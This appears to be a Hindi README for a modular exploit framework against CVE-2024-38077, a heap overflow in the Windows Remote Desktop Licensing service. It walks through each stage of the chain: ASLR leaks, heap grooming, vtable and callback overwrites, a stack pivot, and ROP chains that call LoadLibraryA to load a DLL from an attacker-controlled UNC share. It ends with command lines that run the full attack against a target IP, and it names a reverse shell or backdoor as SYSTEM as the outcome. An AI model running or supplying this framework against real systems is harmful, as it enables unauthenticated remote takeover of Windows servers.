
CVE-2024-38077 (Windows RDL heap overflow) के लिए modular exploit framework, जिसमें ASLR bypass, heap grooming, ROP chain generation, और DLL injection payloads शामिल हैं, pre-auth remote code execution के लिए।
यह दस्तावेज़ ढाँचे के प्रत्येक घटक को समझाता है, वे क्यों मौजूद हैं, और आधुनिक विंडोज़ में हीप बफर ओवरफ़्लो का शोषण कैसे काम करता है।
विंडोज़ रिमोट डेस्कटॉप लाइसेंसिंग सेवा (lserver.exe) में CDataCoding::DecodeData फ़ंक्शन में हीप बफर ओवरफ़्लो है।
┌─────────────────────────────────────────────────────────────┐
│ भेद्यता: गलत आकार गणना │
├─────────────────────────────────────────────────────────────┤
│ 1. क्लाइंट आकार N का Base64 डेटा भेजता है │
│ 2. सर्वर गणना करता है: buffer_size = (N / 4) * 3 │
│ 3. सर्वर 'buffer_size' बाइट्स का बफर आवंटित करता है │
│ 4. वास्तविक Base64 डिकोड लिखता है: ceil(N * 3/4) बाइट्स │
│ 5. यदि N, 4 का गुणज नहीं है: अतिप्रवाह! │
└─────────────────────────────────────────────────────────────┘
ठोस उदाहरण:
(4001 / 4) * 3 = 1000 * 3 = 3000 बाइट्स आवंटितceil(4001 * 0.75) = 3001 बाइट्स लिखे┌─────────────────────────────────────────────────────────────────┐
│ शोषण श्रृंखला │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG जागरूकता) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (ऑर्केस्ट्रेटर) │
└───────────────────────────────────────────────────────────┘
primitives.py - आधारमेमोरी हेरफेर के लिए निम्न-स्तरीय उपयोगिताएँ।
शोषण को चाहिए:
# Pack/Unpack - पूर्णांकों को बाइट्स में और इसके विपरीत रूपांतरित करें
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# चक्रीय पैटर्न - क्रैश ऑफ़सेट की पहचान करने के लिए
cyclic(100) # De Bruijn अनुक्रम उत्पन्न करता है
cyclic_find(pattern, value) # मान का ऑफ़सेट ढूँढता है
# संरेखण - मेमोरी को संरेखित होना चाहिए
align(0x1003, 0x10) # → 0x1010 (16 बाइट्स में संरेखित)
वास्तविक समस्या: आप क्रैश का कारण बनते हैं और RIP में 0x61616171 होता है।
cyclic_find(pattern, 0x61616171) → सटीक ऑफ़सेट!leak.py - ASLR को बायपास करनाएड्रेस स्पेस लेआउट रैंडमाइज़ेशन: प्रत्येक बूट/निष्पादन पर पते बदल जाते हैं।
बूट 1: ntdll.dll @ 0x7FFA12340000
बूट 2: ntdll.dll @ 0x7FFB98760000
बूट 3: ntdll.dll @ 0x7FFC55550000
मेमोरी कहाँ है यह जाने बिना:
class LeakInfo:
"""लीक किए गए पतों के लिए कंटेनर"""
heap_base: int # हीप का आधार
ntdll_base: int # ntdll.dll का आधार
kernel32_base: int # kernel32.dll का आधार
# ...
class LeakProvider:
"""लीक स्रोतों का ऑर्केस्ट्रेटर"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# प्रत्येक स्रोत को तब तक आज़माएँ जब तक सफल न हो जाए
| स्रोत | यह कैसे काम करता है | कब उपयोग करें |
|---|---|---|
प्रदर्शनों/लैब में, आप कर सकते हैं:
--ntdll-base 0x7ffa... के माध्यम से प्रदान करेंयह वास्तविक लीक होने का अनुकरण करता है, जिससे आप शेष श्रृंखला का परीक्षण कर सकते हैं।
target_model.py - लक्ष्य मानचित्रणभेद्य और आसन्न डेटा संरचनाओं की मॉडलिंग।
अतिप्रवाह ≠ शोषण। हमें जानना होगा:
class VulnerableBuffer:
"""वह बफर जो अतिप्रवाह का शिकार होगा"""
allocation_size: int # कितना आवंटित किया गया
write_size: int # कितना लिखा जाएगा
overflow_amount: int # अंतर = अतिप्रवाह
def calculate_overflow(input_size):
# गणना बग का अनुकरण
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""वह वस्तु जो भ्रष्ट होगी (हीप में आसन्न)"""
fields: List[StructField]
has_vtable: bool # क्या इसमें वर्चुअल तालिका है?
has_function_ptr: bool # क्या इसमें फ़ंक्शन पॉइंटर है?
# रिवर्स इंजीनियरिंग पर आधारित काल्पनिक वस्तु
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# मैप किए गए क्षेत्र
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True क्यों?शोषण के लिए उपयोगी क्षेत्रों को चिह्नित करता है:
vtable: यदि हम अधिलेखित करते हैं, तो हम विधि कॉल को नियंत्रित करते हैंcallback: यदि हम अधिलेखित करते हैं, तो हम नियंत्रित करते हैं कि कॉलबैक कब कॉल किया जाता हैwrite_primitive.py - नियंत्रित लेखनअतिप्रवाह अनुक्रमिक डेटा लिखता है। लेकिन हमें चाहिए:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
सटीक मानों के साथ अतिप्रवाह बफर बनाता है
लेआउट:
[ऑफ़सेट तक PADDING] [नियंत्रित मान] [अधिक डेटा]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# सटीक ऑफ़सेट पर सटीक मान रखें
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# vtable ओवरराइट
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# कॉलबैक ओवरराइट
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| लेखन | परिणाम |
|---|---|
| AAAA... | बिना नियंत्रण के क्रैश |
| सटीक ऑफ़सेट पर सटीक पता | नियंत्रित निष्पादन |
heap_controller.py - हीप ग्रूमिंगविंडोज़ LFH (लो फ़्रैग्मेंटेशन हीप) और सेगमेंट हीप का उपयोग करता है:
ग्रूमिंग = नियतात्मक लेआउट के लिए हीप को मसाज करना।
ग्रूमिंग से पहले:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
यादृच्छिक आवंटन, अप्रत्याशित छेद
ग्रूमिंग के बाद:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
नियंत्रित लेआउट, वांछित स्थानों पर "छेद"
class HeapLayoutController:
def execute_full_groom(self):
# चरण 1: मौजूदा छेद भरें
self.phase_fill(50)
# चरण 2: लक्ष्य बकेट के लिए LFH सक्रिय करें
# (विंडोज़ समान आकार के ~17 आवंटन के बाद LFH सक्रिय करता है)
self.phase_activate_lfh()
# चरण 3: स्प्रे - सघन पैटर्न बनाएँ
sprayed = self.phase_spray(200)
# चरण 4: रणनीतिक छेद बनाएँ
# हर N आवंटन पर मुक्त करें
self.phase_create_holes(sprayed, interval=4)
# चरण 5: स्थिर करें
self.phase_stabilize()
trigger.py - भ्रष्टाचार के बाद ट्रिगरभ्रष्टाचार हुआ। अब क्या?
वर्तमान स्थिति:
- मेमोरी भ्रष्ट ✓
- दुर्भावनापूर्ण मान लिखा ✓
- लेकिन किसी ने अभी तक उस मान का उपयोग नहीं किया!
हमें चाहिए कि प्रोग्राम भ्रष्ट डेटा को पढ़े और उपयोग करे।
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# कार्यान्वित रणनीतियाँ:
class SecondRequestTrigger:
"""दूसरी RPC कॉल करता है जो भ्रष्ट वस्तु का उपयोग करती है"""
class DestructorTrigger:
"""डिस्कनेक्ट करता है - सफाई को बल देता है जो भ्रष्ट पॉइंटर्स का उपयोग करती है"""
class TimerTrigger:
"""आंतरिक टाइमर की प्रतीक्षा करता है जो भ्रष्ट स्थिति को संसाधित करता है"""
1. पहली RPC कॉल → भ्रष्टाचार होता है
2. डिस्कनेक्ट (ट्रिगर) → सर्वर डिस्ट्रक्टर कॉल करता है
3. डिस्ट्रक्टर भ्रष्ट vtable पढ़ता है → हमारा पता कॉल करता है
4. नियंत्रित निष्पादन!
execution.py - प्रवाह नियंत्रणRIP (x64) या EIP (x86) = इंस्ट्रक्शन पॉइंटर
यदि हम इंस्ट्रक्शन पॉइंटर को नियंत्रित करते हैं, तो हम निष्पादन को नियंत्रित करते हैं।
class HijackMethod(Enum):
VTABLE = 0 # हीप ओवरफ़्लो में सबसे आम
FUNCTION_PTR = 1 # कॉलबैक पॉइंटर
RETURN_ADDR = 2 # स्टैक ओवरफ़्लो (हमारा मामला नहीं)
सामान्य वस्तु:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 address │ ← वैध
│ │ │ method2 address │
└─────────────┘ └──────────────────┘
भ्रष्टाचार के बाद:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ GADGET ADDR │ ← हमारा!
│ │ │ GADGET ADDR │
└─────────────┘ └──────────────────┘
जब method1 कॉल होता है → हमारा गैजेट निष्पादित होता है!
समस्या: vtable हाइजैक हमें एक कॉल देता है। हमें और चाहिए।
समाधान: स्टैक पिवट
# गैजेट जो RSP को उस स्थान पर बदलता है जहाँ हमारी ROP श्रृंखला है
xchg rax, rsp; ret # RAX = हमारा पता → RSP = हमारा पता
# अब "स्टैक" हमारा नियंत्रित क्षेत्र है!
# प्रत्येक RET हमारी ROP श्रृंखला के अगले गैजेट पर कूदता है
code_reuse.py - ROP श्रृंखलाएँDEP (डेटा एक्सीक्यूशन प्रिवेंशन): हीप और स्टैक गैर-निष्पादनीय हैं।
हीप पर शेलकोड → क्रैश (एक्सेस वायलेशन - एक्ज़ीक्यूट)
ROP = रिटर्न-ओरिएंटेड प्रोग्रामिंग
हम "गैजेट्स" को जोड़ते हैं - कोड के छोटे टुकड़े जो RET में समाप्त होते हैं।
गैजेट 1: pop rcx; ret ← RCX में मान डालता है
गैजेट 2: pop rdx; ret ← RDX में मान डालता है
गैजेट 3: call LoadLibraryA ← फ़ंक्शन कॉल करता है!
स्टैक/ROP श्रृंखला (हमारा नियंत्रित क्षेत्र):
┌────────────────────┐
│ pop_rcx का पता │ ← RSP यहाँ इशारा करता है
├────────────────────┤
│ RCX के लिए मान │ ← RCX में "पॉप" किया जाएगा
├────────────────────┤
│ pop_rdx का पता │ ← RET यहाँ जाता है
├────────────────────┤
│ RDX के लिए मान │
├────────────────────┤
│ LoadLibraryA का पता│ ← अंत में कॉल करता है!
└────────────────────┘
# DLL लोड करें (DLL इंजेक्शन)
build_load_library(dll_path_addr) → ROP श्रृंखला
# निष्पादनीय मेमोरी आवंटित करें
build_virtual_alloc(size) → ROP श्रृंखला + RAX = RWX पता
# कमांड निष्पादित करें
build_winexec(cmd_addr) → ROP श्रृंखला
payload.py - शब्दार्थ पेलोड| प्रकार | उदाहरण | परिणाम |
|---|---|---|
| डेटा | AAAAAA... | क्रैश |
| इरादा | ROP + DLL पथ | DLL लोड हुआ |
class PayloadIntent(Enum):
CRASH_TEST = 0 # जाँच करें कि शोषण काम करता है या नहीं
DLL_INJECT = 1 # हमारी DLL लोड करें
COMMAND_EXEC = 2 # कमांड निष्पादित करें
SHELLCODE = 3 # ROP के माध्यम से शेलकोड निष्पादित करें
def build_dll_inject(dll_path: str) -> bytes:
"""
अंतिम संरचना:
┌──────────────────────────────┐
│ ROP श्रृंखला (LoadLibraryA) │ ← पहले निष्पादित करें
├──────────────────────────────┤
│ पैडिंग │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ │ पथ की स्ट्रिंग
└──────────────────────────────┘
ROP श्रृंखला LoadLibraryA में स्ट्रिंग का पता पास करती है
"""
mitigations.py - शमन जागरूकताdef adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # अनिवार्य
if mitigations.ASLR.enabled:
config["require_leak"] = True # अनिवार्य
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # अधिक स्प्रे
┌─────────────────────────────────────────────────────────────────┐
│ शोषण प्रवाह │
└─────────────────────────────────────────────────────────────────┘
चरण 1: LEAK (ASLR बायपास)
├─ मेमोरी पते प्राप्त करें
├─ इनपुट: मैन्युअल या ऑटो-लीक
└─ आउटपुट: मॉड्यूल बेस के साथ LeakInfo
↓
चरण 2: ANALYZE (लक्ष्य मानचित्रण)
├─ अतिप्रवाह राशि की गणना करें
├─ आसन्न वस्तुओं की पहचान करें
└─ भ्रष्टाचार ऑफ़सेट निर्धारित करें
↓
चरण 3: GROOM (हीप शेपिंग)
├─ भरें → LFH सक्रिय करें → स्प्रे → छेद
├─ नियतात्मक लेआउट बनाएँ
└─ भेद्य आवंटन के लिए "लैंडिंग ज़ोन" तैयार करें
↓
चरण 4: PAYLOAD (निर्माण)
├─ ROP श्रृंखला बनाएँ
├─ आवश्यक स्ट्रिंग्स/डेटा शामिल करें
└─ अतिप्रवाह डेटा के साथ संयोजित करें
↓
चरण 5: CORRUPT (अतिप्रवाह ट्रिगर)
├─ दुर्भावनापूर्ण RPC कॉल भेजें
├─ अतिप्रवाह का कारण बनें
└─ लक्ष्य (vtable/callback) अधिलेखित करें
↓
चरण 6: TRIGGER (उपयोग को बल दें)
├─ डिस्कनेक्ट या दूसरी कॉल
├─ भ्रष्ट पॉइंटर के उपयोग को बल दें
└─ निष्पादन हाइजैक
↓
चरण 7: EXECUTE (RCE)
├─ ROP श्रृंखला निष्पादित होती है
├─ LoadLibraryA DLL लोड करता है
└─ मनमाना कोड निष्पादित हो रहा है!
↓
┌─────────────────────────────────────────────────────────────┐
│ परिणाम: SYSTEM के रूप में रिवर्स शेल, बैकडोर, आदि │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# केवल जाँचें कि सेवा चल रही है या नहीं
python -m madlicense.poc -t 10.0.0.5 --check
# ड्राई रन (पेलोड नहीं भेजता, सब कुछ अनुकरण करता है)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# पूर्ण DLL इंजेक्शन
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# calc.exe निष्पादित करें (क्लासिक PoC)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
यह ढाँचा इसके लिए है:
नहीं के लिए:
मुख्य वाक्य:
"आधुनिक विंडोज़ में हीप बफर ओवरफ़्लो का शोषण करना केवल 'बहुत अधिक लिखना' नहीं है। यह एक सटीक श्रृंखला है: लीक → ग्रूम → भ्रष्ट → ट्रिगर → निष्पादित।"
9 मॉड्यूल:
इनमें से किसी के बिना, कोई RCE नहीं है।
ManualLeakSource| उपयोगकर्ता पते प्रदान करता है |
| लैब/डिबग लक्ष्य तक पहुँच के साथ |
ResponseLeakSource | RPC प्रतिक्रियाओं से निकालता है | यदि सेवा पॉइंटर्स लीक करती है |
TimingLeakSource | समय-पक्ष चैनल | सैद्धांतिक, बहुत कठिन |
| शमन | यह क्या करता है | हमारा बायपास |
|---|
| DEP | हीप/स्टैक गैर-निष्पादनीय | ROP (कोड पुन: उपयोग) |
| ASLR | पते यादृच्छिक | जानकारी लीक |
| CFG | कॉल लक्ष्यों को मान्य करता है | वैध लक्ष्यों को कॉल करें, फिर पिवट |
| स्टैक कुकी | स्टैक ओवरफ़्लो का पता लगाता है | हम स्टैक ओवरफ़्लो का उपयोग नहीं करते |
| हीप हार्डनिंग | गार्ड पेज, आदि | सावधानीपूर्वक ग्रूमिंग |